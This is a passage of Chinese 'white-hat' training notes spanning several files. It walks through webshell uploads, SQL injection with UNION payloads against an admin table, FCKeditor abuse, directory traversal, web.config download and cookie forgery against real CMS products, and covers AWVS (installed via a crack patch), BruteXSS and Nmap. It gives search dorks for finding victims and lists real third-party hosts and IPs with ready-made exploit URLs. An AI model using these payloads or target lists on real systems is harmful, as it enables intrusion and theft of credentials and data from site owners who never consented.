46 | 爆破成功之后,登录后台,鼠标移动到左侧的“插件”,然后点击“安装插件”:
47 |
48 | 
49 |
50 | 在之后的页面中点击“上传插件”。
51 |
52 | 
53 |
54 | 我们把一句话写入`a.php`,将它压缩为`b.zip`。然后在上传页面处选择该文件后,点击“现在安装”:
55 |
56 | 
57 |
58 | WebShell 上传到了`/wp-content/upgrade/b/a.php`。拿菜刀连接便可成功拿到 Shell。
59 |
60 | 
61 |
--------------------------------------------------------------------------------
/实战篇 余闻同学录.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 实战篇 余闻同学录
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 站点搜索
10 |
11 | 百度关键词搜索:
12 |
13 | 
14 |
15 | ## 源码下载
16 |
17 | http://download.csdn.net/download/u012513463/9701150
18 |
19 | 目录结构是这样的:
20 |
21 | 
22 |
23 | ## 弱密码
24 |
25 | 安装之后会弹出以下界面:
26 |
27 | 
28 |
29 | 得知弱密码为`admin:123456`。
30 |
31 | ## 信息泄露
32 |
33 | 我们在目录中搜索 SQL:
34 |
35 | 
36 |
37 | 看到了`/install/install/sql`文件。我们随便找个站点试验一下:
38 |
39 | 
40 |
41 | 是可以访问的。
42 |
43 | ## 文件上传
44 |
45 | 进入后台,有两个上传点:界面管理和相册管理:
46 |
47 | 
48 |
49 | 我们挑选相册管理来演示。首先随便上传一个 PHP 文件:
50 |
51 | 
52 |
53 | 显示“文件类型不符”,然后显示了文件的类型。我们的猜测程序根据类型来判断,而前面说过类型是可以随便修改的(见“文件上传”一章)。我们用 Burp 抓取这个请求,把类型改为`image/jpg`,然后放行。
54 |
55 | 
56 |
57 | 我们可以看到上传成功:
58 |
59 | 
60 |
61 | 然后我们用菜刀连接一下,注意文件名称前面有两个点,表示上级目录,所以真实路径是`/photos/1480440169.php`:
62 |
63 | 
64 |
65 | 
66 |
67 | 我们下面来看看源码,`/home/xcgl.php`第 47 行:
68 |
69 | ```php
70 | //上传文件类型列表
71 | $uptypes=array(
72 | 'image/jpg',
73 | 'image/jpeg',
74 | 'image/png',
75 | 'image/pjpeg',
76 | 'image/gif',
77 | 'image/bmp',
78 | 'image/x-png'
79 | );
80 | ```
81 |
82 | 发现这是类型列表,再往下看,221 行:
83 |
84 |
85 | ```php
86 | if(!in_array($file["type"], $uptypes))
87 | //检查文件类型
88 | {
89 | echo "文件类型不符!".file["type"];
90 | exit;
91 | }
92 | ```
93 |
94 | 它对文件类型进行了校验,但除此之外没有别的校验了,所以这里存在文件上传漏洞。
95 |
--------------------------------------------------------------------------------
/实战篇 南方 0day.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 实战篇 南方 0day
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 搜索
10 |
11 | 关键词:`inurl:"HomeMarket.asp"`。
12 |
13 | ## 下载与部署
14 |
15 | http://www.jb51.net/article/5336.htm
16 |
17 | ## SQL 注入
18 |
19 | 我们打算检测其中的 SQL 注入漏洞,由于 ASP 代码基本没有什么好的过滤,一般一查一个准。为了搜索 SQL 注入漏洞,我们可以使用`sql`、`conn`这类名称、或者`execute`这类函数来定位到数据库查询低吗位置。
20 |
21 | 比如在`NewsType.asp`的 14 ~ 32 行,我们发现了:
22 |
23 | ```asp
24 |
25 | <%
26 | ' ...
27 | BigClass=request("BigClass")
28 | SmallClass=request("SmallClass")
29 | ' ...
30 | %>
31 | <%
32 | if BigClass<>"" and SmallClass<>"" then
33 | sql="select * from News where BigClassName='"& BigClass &"' and SmallClassName='"& SmallClass &"' order by AddDate desc"
34 | set rs=conn.execute(sql)
35 | do while not rs.eof
36 | %>
37 | ```
38 |
39 | 我们看到这是文本型的参数,也就是说我们注入的时候要想办法闭合单引号。而且它用的是 Access 数据库,我们没办法像 MySQL 和 SQLServer 那样使用`--`来注释。
40 |
41 | 我们照旧为`SmallClass`输入`' and '1'='1`,构造的 URL 为`NewsType.asp?SmallClass=%27%20and%20%271%27=%271`,发现正常。
42 |
43 | 
44 |
45 | 输入`' and '1'='2`,构造的 URL 为`NewsType.asp?SmallClass=%27%20and%20%271%27=%272`,发现错误。
46 |
47 | 
48 |
49 | 接下来我们查看源码目录下的`Databases/0791idc.mdb`,知道了`News`表一共有十个字段。
50 |
51 | 之后输入`' and 1=2 union select 1,2,3,4,5,6,7,8,9,0 from admin where '1'='1`,发现显示 2 和 9:
52 |
53 | 
54 |
55 | 之后就很简单了,我们先看看`admin`表里面的用户名和密码都叫做啥。我们把 2 替换为`username`,9 替换为`password`。
56 |
57 | 
58 |
59 | 然后把`f3a976c77dc7264c`送到 pmd5 解密,结果为`060618`。
60 |
61 | 之后可以从`/admin`访问后台,登录并继续拿 WebShell。
62 |
63 | ## XSS
64 |
65 | 我们点击网站右上角的“联系我们”,可以发现这个页面的 URL 中出现了这四个字,页面中也出现了这四个字。
66 |
67 | 
68 |
69 | 然后我们把 URL 中的`Title`参数改成`1`:
70 |
71 | 
72 |
73 | 这就提示我们这里面可能会出现 XSS,我们改成``:
74 |
75 | 
76 |
77 | 我们看到源代码中出现了这个东西。
78 |
79 | ## 附录
80 |
81 | + [黑帽百科:2.2 常见 0day](http://www.xiaoshuwu.net/black-hat-seo/)
82 |
--------------------------------------------------------------------------------
/实战篇 捷达系统.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 实战篇 捷达系统
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 概述
10 |
11 | 官网:http://www.jeedaa.com/
12 |
13 | 主要产品有:
14 |
15 | + 捷达ERP
16 | + 捷达OA
17 | + 捷达eHR
18 | + 捷达CRM
19 | + 捷达eFax
20 | + 捷达仓库管理
21 | + 捷达进销存.Net
22 | + 捷达协同办公.Net
23 |
24 | 均存在能够 GetShell 的漏洞。
25 |
26 | 这个东西仍旧是闭源的,我们使用它的演示站点,`http://demoerp.jeedaa.com`来进行演示。
27 |
28 | ## 文件上传
29 |
30 | 我们用御剑扫一扫。
31 |
32 | 
33 |
34 | 出现了 FCKEditer。我们访问`/fckeditor`,发现是 403 的。
35 |
36 | 
37 |
38 | 但是我们扫描`/fckeditor/fckeditor`:
39 |
40 | 
41 |
42 | 发现有三个 200。我们访问`/fckeditor/fckeditor/editor/filemanager/upload/test.html`:
43 |
44 | 
45 |
46 | 我们在查看元素里面添加一个 ASPX,然后随便上传一个 ASP 文件上去。获得了该文件的链接。
47 |
48 | 
49 |
50 | 
51 |
52 | 部分案例(均为捷达的演示站点):
53 |
54 | + `http://erp2008v4.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
55 | + `http://erp.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
56 | + `http://qd.jeedaa.net//fckeditor/FCKeditor/editor/filemanager/upload/test.html`
57 | + `http://oa.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
58 | + `http://demoerp.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
59 | + `http://crm.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
60 | + `http://shijia.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
61 | + `http://lg.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
62 | + `http://hj.jeedaa.com/fckeditor/FCKeditor/editor/filemanager/upload/test.html`
63 |
64 | ## 目录遍历
65 |
66 | 访问`/fckeditor/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=E:/&CurrentFolder=%2F`
67 |
68 | 
69 |
70 | 可以改动`CurrentFolder`参数来进入子目录,也可以改动`Type`参数来切换盘符。
71 |
72 | ## 文件下载
73 |
74 | 访问`/WebApp/PassportService/download.aspx?p=/AccreditAdmin/Web.config`下载数据库文件:
75 |
76 | 
77 |
78 | 部分案例:
79 |
80 | + `http://221.136.81.169/WebApp/PassportService/download.aspx?p=web.config`
81 | + `http://61.164.170.82:88/WebApp/PassportService/download.aspx?p=web.config`
82 | + `http://www.nbjyly.com/WebApp/PassportService/download.aspx?p=web.config`
83 | + `http://oa.jobgroup.cn:2013/WebApp/PassportService/download.aspx?p=web.config`
84 | + `http://erp2008v4.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
85 | + `http://erp.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
86 | + `http://qd.jeedaa.net//WebApp/PassportService/download.aspx?p=web.config`
87 | + `http://61.130.104.162:8080/WebApp/PassportService/download.aspx?p=web.config`
88 | + `http://oa.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
89 | + `http://demoerp.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
90 | + `http://crm.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
91 | + `http://shijia.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
92 | + `http://lg.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
93 | + `http://hj.jeedaa.com/WebApp/PassportService/download.aspx?p=web.config`
94 | + `http://oa.nbself.com/WebApp/PassportService/download.aspx?p=web.config`
95 | + `http://61.164.170.82:88/WebApp/PassportService/download.aspx?p=web.config`
96 |
--------------------------------------------------------------------------------
/实战篇 迅雷 CMS.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 实战篇 迅雷 CMS
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 站点搜索
10 |
11 | 关键词:`intext:"技术支持:银川迅雷网络公司"`
12 |
13 | 另外这个 CMS 是闭源的,没有找到源码。
14 |
15 | ## Cookie 伪造
16 |
17 | 起因是这样,我们随便找了一个网站,访问后台登录页面(`/admin/login.asp`),然后使用弱密码`admin:admin`进了后台(`/admin/index.asp`),发现 Cookie 有这样一个东西:
18 |
19 | 
20 |
21 | 我们可以看到,用户名称和 ID 是明文保存的。我们猜测,程序根据 Cookie 中的值来判断当前登录用户。于是我们把其中一个删掉,结果退出登录。再次访问后台时返回到了登录页面。
22 |
23 | 
24 |
25 | 这就说明它的确使用 Cookie 中的值来判断。我们再进行试验,将 Cookie 的两个值重新设置,之后直接访问`/admin/index.asp`:
26 |
27 | 
28 |
29 | 成功进入后台。
30 |
31 |
--------------------------------------------------------------------------------
/工具篇 AWVS.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 工具篇 AWVS
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 功能
10 |
11 | AWVS 即 Acunetix Web Vulnerability Scanner 是一个网站及服务器漏洞扫描软件。
12 |
13 | 
14 |
15 | + 自动的客户端脚本分析器,允许对 Ajax 和 Web 2.0 应用程序进行安全性测试。
16 | + 业内最先进且深入的 SQL 注入和跨站脚本测试
17 | + 高级渗透测试工具,例如 HTTP Editor 和 HTTP Fuzzer
18 | + 可视化宏记录器帮助您轻松测试 web 表格和受密码保护的区域
19 | + 支持含有 CAPTHCA 的页面,单个开始指令和 Two Factor(双因素)验证机制
20 | + 丰富的报告功能,包括 VISA PCI 依从性报告
21 | + 高速的多线程扫描器轻松检索成千上万个页面
22 | + 智能爬行程序检测 web 服务器类型和应用程序语言
23 | + Acunetix 检索并分析网站,包括 flash 内容、SOAP 和 AJAX
24 | + 端口扫描 web 服务器并对在服务器上运行的网络服务执行安全检查
25 |
26 | ## 下载和安装
27 |
28 | 演示中使用的是 AWVS 10 版本,请在[这里](http://www.freebuf.com/sectool/71091.html)下载。
29 |
30 | 安装部分主要分为两个步骤:安装主程序和打破解补丁。这款工具是由吾爱破解亲自操刀来破解的。
31 |
32 | 
33 |
34 | 我们打开安装文件之后,依次点击“下一步”就可以了。
35 |
36 | 
37 |
38 | 安装完毕之后,打开破解补丁,破解补丁是全自动的,等到出现这个界面,就说明破解完成了。
39 |
40 | 
41 |
42 | ## 基本使用
43 |
44 | 
45 |
46 | 首先,打开程序主界面:
47 |
48 | 
49 |
50 | 点击左上角的`Scan`按钮,会弹出一个窗口,我们将其中的`Website URL`改为百度的 URL。这里我们拿百度主页来演示。
51 |
52 | 
53 |
54 | 之后我们只需要连续点击下一步,跳过`Option`界面。我们可以看到`Target`界面为我们提供了一些信息,比如服务器版本。我们也可以按需选择服务器所使用的环境。
55 |
56 | 
57 |
58 | 点击下一步之后,我们来到了`Login`界面,这里我们可以设置登录所需的凭证。我们这里先保留默认。
59 |
60 | 
61 |
62 | 再点击下一步,等待一下,然后就开始了。扫描完成之后,我们再来看主界面。
63 |
64 | 
65 |
66 | `Web Alerts`中会提示存在的漏洞。`Site Structure`中会显示站点结构。我们随便选择一个漏洞看一下。它提示了站点中有一个 CSRF 漏洞。
67 |
68 | 
69 |
70 | 这里就有可能是个误报,虽然 AWVS 很强大,但是误报也是很常见的。大家以后碰到的时候无视它就好了。
71 |
72 | ## 登录后的扫描
73 |
74 | 
75 |
76 | 就是在`Login`界面的`Form Authentication`分组框中输入所需的Cookie。我们点击旁边的“新建”按钮(一张纸的图标),在弹出来的窗口中登录网站,来创建登录凭证。
77 |
78 | 
79 |
80 | 登录完毕之后点击右下角的`Finish`,然后会弹出来一个文件选择框,保存文件即可。
81 |
82 | 
83 |
84 | 之后我们点击旁边的“打开”按钮(文件夹的图标),选择刚刚保存的文件,并点击`Next`。这样我们就能执行登录状态下的扫描了。
85 |
86 | ## 批量扫描
87 |
88 | 思路来自:。
89 |
90 | 利用 AWVS 会采集目标站点的外链的特点,达到批量扫描的效果。
91 |
92 | 
93 |
94 | 比如,我们可以创建一个 HTML 文件,里面包含要扫描的全部链接,比如我们要扫描谷歌、百度、优酷以及其他网站,我们就可以新建一个`4.html`,内容为:
95 |
96 | ```html
97 | test
98 | test
99 | test
100 | ...
101 | ```
102 |
103 | 然后将这个页面在本地部署,假设,我们可以通过`http://localhost/subject/4.html`访问。然后将其填写到`Website URL`中。
104 |
105 | 
106 |
107 | 一直点击“下一步”,直到`Finish`界面,我们可以看到,我们指定的站点全部出现在下方的列表框中,我们把他们全部勾选。之后点击`Finish`按钮开始批量扫描。
108 |
109 | 
110 |
--------------------------------------------------------------------------------
/工具篇 BruteXSS.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 工具篇 BruteXSS
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/)
8 |
9 | ## 介绍
10 |
11 | BruteXSS 是一个非常强大和快速的跨站点脚本检测工具,可用于暴力注入参数。BruteXSS 从指定的词库加载多种有效载荷进行注入,并且使用指定的载荷和扫描检查这些存在 XSS 漏洞的参数。得益于非常强大的扫描功能,在执行任务时,BruteXSS 非常准确而且极少误报。 BruteXSS 支持 POST 和 GET 请求,并适应现代 Web 应用程序。
12 |
13 | 特性:
14 |
15 | + XSS 爆破
16 | + XSS 扫描
17 | + GET/POST 请求
18 | + 可包含自定义单词
19 | + 人性化的 UI
20 |
21 | ## 安装
22 |
23 | 首先安装 Python 2.7。
24 |
25 | 依赖是`Colorama`和`Mechanize`两个库。但我看到源码中包含了这两个库,所以一般不用自己安装。如果运行失败,那么执行这两条命令手动安装一下。
26 |
27 | ```
28 | pip install colorama
29 | pip install Mechanize
30 | ```
31 |
32 | 之后从`https://github.com/shawarkhanethicalhacker/BruteXSS/zipball/master`下载所有文件,解压。
33 |
34 | 还需要单词列表,原版的`wordlist.txt`有 20 条语句,只能执行基本的 XSS 检查。
35 |
36 | `https://github.com/ym2011/penetration/blob/master/BruteXSS/wordlist-small.txt`这个文件有 100 条语句,可以执行相对全面的 XSS 检查。
37 |
38 | `https://github.com/ym2011/penetration/blob/master/BruteXSS/wordlist-medium.txt`这个文件有 200 条语句,可以执行绕过 WAF 的 XSS 检查。
39 |
40 | `https://github.com/ym2011/penetration/blob/master/BruteXSS/wordlist-huge.txt`这个文件有 5000 条语句,可以非常全面并且执行绕过 WAF 的 XSS 检查。
41 |
42 | 然后为了模拟被测页面,我们还要部署一个页面:
43 |
44 | ```php
45 | \\XSS反射演示
46 |
50 | http://localhost/xss.php?xss=
92 | [+] 检测 localhost 是可用的...
93 | [+] localhost is available! Good!
94 | [?] 输入字典的位置 (按Enter键使用默认 wordlist.txt)
95 | [?] > wordlist.txt
96 | ```
97 |
98 | 之后程序会显示结果,告知我们该页面存在 XSS 漏洞。
99 |
100 | ```
101 | [+] 从指定字典加载载荷.....
102 | [+] 25 攻击载荷加载...
103 | [+] Bruteforce开始:
104 | [+] 测试 'xss' 参数...
105 | [+] 0 / 25 攻击载荷注入...
106 | [!] Xss漏洞发现
107 | [!] 参数: xss
108 | [!] Payload: ">
109 | [+] Bruteforce完成。
110 | [+] 1 参数是 容坠セ鞯? xss.
111 | [+] 扫描结果 localhost:
112 | +----+------------+----------------+
113 | | Id | Parameters | Status |
114 | +----+------------+----------------+
115 | | 0 | xss | Vulnerable |
116 | +----+------------+----------------+
117 |
118 | [?] [E]结束进程\[A]程序初始化
119 | ```
120 |
121 | 之后它会让我们选择,结束进程的意思就是退出,初始化的意思就是重新开始。如果不需要扫描其他东西,我们输入`E`。
122 |
123 | 如果是 POST 扫描,我们为 URL 输入`http://localhost/xss.php`,为数据输入`xss=`就可以了。
124 |
125 | 由于一些 XSS 比如储存型 XSS 不便于自动化扫描,这个工具的作用仍然很有限,遇到扫不出来的漏洞很正常。
126 |
--------------------------------------------------------------------------------
/工具篇 Nmap.md:
--------------------------------------------------------------------------------
1 | # 米斯特白帽培训讲义 工具篇 Nmap
2 |
3 | > 讲师:[gh0stkey](https://www.zhihu.com/people/gh0stkey/answers)
4 |
5 | > 整理:[飞龙](https://github.com/)
6 |
7 | > 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0)
8 |
9 | ## 介绍
10 |
11 | Nmap(网络映射器)是由 Gordon Lyon 涉及,用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓补图,Nmap 发送特制的数据包到目标主机,然后对返回数据包进行分析。Nmap 是一款枚举和测试网络的强大工具。
12 |
13 | Nmap 有两种界面:可视化界面和命令行界面。
14 |
15 | ## 下载
16 |
17 | https://nmap.org/download.html
18 |
19 | ## 使用
20 |
21 | 典型用途:
22 |
23 | + 通过对设备或者防火墙的探测来审计其安全性。
24 | + 探测目标主机的开放端口。
25 | + 网络存储、网络映射、维护和资产管理。(这个有待深入)
26 | + 通过识别新的服务器审计网络的安全性。
27 | + 探测网络上的主机。
28 |
29 | ### 简单扫描
30 |
31 | Nmap 默认使用 ICMP ping 和 TCP 全连接(`-PB`)进行主机发现,以及使用 TCP 全连接(`-sT`) 执行主机扫描。默认扫描端口是 1 ~ 1024,以及其列表中的常用端口。
32 |
33 | 语法:
34 |
35 | ```
36 | nmap <目标 IP>
37 | ```
38 |
39 | 例子:
40 |
41 | ```
42 | C:\Users\asus> nmap 192.168.1.1
43 |
44 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 10:37 ?D1ú±ê×?ê±??
45 | Nmap scan report for localhost (192.168.1.1)
46 | Host is up (0.0062s latency).
47 | Not shown: 993 closed ports
48 | PORT STATE SERVICE
49 | 21/tcp filtered ftp
50 | 22/tcp filtered ssh
51 | 23/tcp filtered telnet
52 | 53/tcp open domain
53 | 80/tcp open http
54 | 49152/tcp open unknown
55 | 49153/tcp open unknown
56 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
57 |
58 | Nmap done: 1 IP address (1 host up) scanned in 3.40 seconds
59 | ```
60 |
61 | 多个 IP 可以以逗号分隔:`192.168.1.1,2,3,4,5`,也可以使用短横线来表示范围:`192.168.1.1-255`,也可以使用 CIDR 记法:`192.168.1.0/24`。
62 |
63 | ### 显示详细结果
64 |
65 | ```
66 | nmap -vv <目标 IP>
67 | ```
68 |
69 | ```
70 | C:\Users\asus> nmap -vv 192.168.1.1
71 |
72 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 10:47 ?D1ú±ê×?ê±??
73 | Initiating ARP Ping Scan at 10:47
74 | Scanning 192.168.1.1 [1 port]
75 | Completed ARP Ping Scan at 10:47, 0.15s elapsed (1 total hosts)
76 | Initiating Parallel DNS resolution of 1 host. at 10:47
77 | Completed Parallel DNS resolution of 1 host. at 10:47, 0.01s elapsed
78 | Initiating SYN Stealth Scan at 10:47
79 | Scanning localhost (192.168.1.1) [1000 ports]
80 | Discovered open port 80/tcp on 192.168.1.1
81 | Discovered open port 53/tcp on 192.168.1.1
82 | Discovered open port 49153/tcp on 192.168.1.1
83 | Discovered open port 49152/tcp on 192.168.1.1
84 | Completed SYN Stealth Scan at 10:47, 2.27s elapsed (1000 total ports)
85 | Nmap scan report for localhost (192.168.1.1)
86 | Host is up, received arp-response (0.0052s latency).
87 | Scanned at 2016-12-22 10:47:09 ?D1ú±ê×?ê±?? for 3s
88 | Not shown: 993 closed ports
89 | Reason: 993 resets
90 | PORT STATE SERVICE REASON
91 | 21/tcp filtered ftp no-response
92 | 22/tcp filtered ssh no-response
93 | 23/tcp filtered telnet no-response
94 | 53/tcp open domain syn-ack ttl 64
95 | 80/tcp open http syn-ack ttl 64
96 | 49152/tcp open unknown syn-ack ttl 64
97 | 49153/tcp open unknown syn-ack ttl 64
98 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
99 |
100 | Read data files from: C:\Program Files (x86)\Nmap
101 | Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds
102 | Raw packets sent: 1004 (44.160KB) | Rcvd: 998 (39.924KB)
103 | ```
104 |
105 | ### 自定义端口
106 |
107 | ```
108 | nmap <目标 IP> -p <端口>
109 | ```
110 |
111 | ```
112 | C:\Users\asus> nmap 192.168.1.1 -p 1-500
113 |
114 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 10:59 ?D1ú±ê×?ê±??
115 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
116 | Nmap scan report for 192.168.1.1
117 | Host is up (0.0061s latency).
118 | Not shown: 495 closed ports
119 | PORT STATE SERVICE
120 | 21/tcp filtered ftp
121 | 22/tcp filtered ssh
122 | 23/tcp filtered telnet
123 | 53/tcp open domain
124 | 80/tcp open http
125 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
126 |
127 | Nmap done: 1 IP address (1 host up) scanned in 2.08 seconds
128 | ```
129 |
130 | 端口可以是单个,也可以是多个,多个端口可以以逗号分隔,比如`21,22,23,53,80`,也可以使用短横线指定范围,比如`1-1024`。
131 |
132 |
133 | ### Ping 扫描
134 |
135 | ```
136 | nmap -sP <目标 IP>
137 | ```
138 |
139 | Ping 扫描其实就是只执行主机发现,不扫描具体端口。大家可以看到结果中没有端口的信息,只告诉你主机通不通,所以也很快。
140 |
141 | ```
142 | C:\Users\asus> nmap 192.168.1.1 -sP
143 |
144 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 10:52 ?D1ú±ê×?ê±??
145 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
146 | Nmap scan report for 192.168.1.1
147 | Host is up (0.0030s latency).
148 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
149 | Nmap done: 1 IP address (1 host up) scanned in 0.59 seconds
150 | ```
151 |
152 | 与之相反,有一个选项是只执行端口扫描,不执行主机发现的,是`-PN`(或`-P0`)。
153 |
154 | ```
155 | C:\Users\asus> nmap 192.168.1.1 -PN
156 |
157 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 10:54 ?D1ú±ê×?ê±??
158 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
159 | Nmap scan report for 192.168.1.1
160 | Host is up (0.0062s latency).
161 | Not shown: 993 closed ports
162 | PORT STATE SERVICE
163 | 21/tcp filtered ftp
164 | 22/tcp filtered ssh
165 | 23/tcp filtered telnet
166 | 53/tcp open domain
167 | 80/tcp open http
168 | 49152/tcp open unknown
169 | 49153/tcp open unknown
170 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
171 |
172 | Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds
173 | ```
174 |
175 | ### 操作系统类型检测
176 |
177 |
178 | ```
179 | nmap -O <目标 IP>
180 | ```
181 |
182 | ```
183 | C:\Users\asus> nmap www.baidu.com -O
184 |
185 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 11:03 ?D1ú±ê×?ê±??
186 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
187 | Nmap scan report for www.baidu.com (61.135.169.125)
188 | Host is up (0.0038s latency).
189 | Other addresses for www.baidu.com (not scanned): 61.135.169.121
190 | Not shown: 998 filtered ports
191 | PORT STATE SERVICE
192 | 80/tcp open http
193 | 443/tcp open https
194 | Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
195 | Device type: switch
196 | Running (JUST GUESSING): HP embedded (86%)
197 | OS CPE: cpe:/h:hp:procurve_switch_4000m
198 | Aggressive OS guesses: HP 4000M ProCurve switch (J4121A) (86%)
199 | No exact OS matches for host (test conditions non-ideal).
200 |
201 | OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
202 | Nmap done: 1 IP address (1 host up) scanned in 9.35 seconds
203 | ```
204 |
205 |
206 | ### 组合扫描
207 |
208 | 比如我们要扫描1 ~ 1024 端口,详细输出,并且探测操作系统。
209 |
210 | ```
211 | C:\Users\asus> nmap 192.168.1.1 -p 1-1024 -vv -O
212 |
213 | Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 11:06 ?D1ú±ê×?ê±??
214 | Initiating ARP Ping Scan at 11:06
215 | Scanning 192.168.1.1 [1 port]
216 | Completed ARP Ping Scan at 11:06, 0.14s elapsed (1 total hosts)
217 | mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
218 | Initiating SYN Stealth Scan at 11:06
219 | Scanning 192.168.1.1 [1024 ports]
220 | Discovered open port 53/tcp on 192.168.1.1
221 | Discovered open port 80/tcp on 192.168.1.1
222 | Completed SYN Stealth Scan at 11:06, 2.03s elapsed (1024 total ports)
223 | Initiating OS detection (try #1) against 192.168.1.1
224 | Retrying OS detection (try #2) against 192.168.1.1
225 | Retrying OS detection (try #3) against 192.168.1.1
226 | Retrying OS detection (try #4) against 192.168.1.1
227 | Retrying OS detection (try #5) against 192.168.1.1
228 | Nmap scan report for 192.168.1.1
229 | Host is up, received arp-response (0.0014s latency).
230 | Scanned at 2016-12-22 11:06:44 ?D1ú±ê×?ê±?? for 15s
231 | Not shown: 1019 closed ports
232 | Reason: 1019 resets
233 | PORT STATE SERVICE REASON
234 | 21/tcp filtered ftp no-response
235 | 22/tcp filtered ssh no-response
236 | 23/tcp filtered telnet no-response
237 | 53/tcp open domain syn-ack ttl 64
238 | 80/tcp open http syn-ack ttl 64
239 | MAC Address: 68:89:C1:74:84:43 (Huawei Technologies)
240 | No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
241 | TCP/IP fingerprint:
242 | OS:SCAN(V=7.01%E=4%D=12/22%OT=53%CT=1%CU=37502%PV=Y%DS=1%DC=D%G=Y%M=6889C1%
243 | OS:TM=585B4353%P=i686-pc-windows-windows)SEQ(SP=106%GCD=1%ISR=104%TI=Z%CI=Z
244 | OS:%II=I%TS=U)SEQ(CI=Z%II=I%TS=U)SEQ(CI=Z%II=I)OPS(O1=M5B4NNSNW2%O2=M5B4NNS
245 | OS:NW2%O3=M5B4NW2%O4=M5B4NNSNW2%O5=M5B4NNSNW2%O6=M5B4NNS)WIN(W1=16D0%W2=16D
246 | OS:0%W3=16D0%W4=16D0%W5=16D0%W6=16D0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M5B4NNSNW2%
247 | OS:CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y
248 | OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
249 | OS:D=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=
250 | OS:40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S
251 | OS:)
252 |
253 | Network Distance: 1 hop
254 | TCP Sequence Prediction: Difficulty=262 (Good luck!)
255 | IP ID Sequence Generation: All zeros
256 |
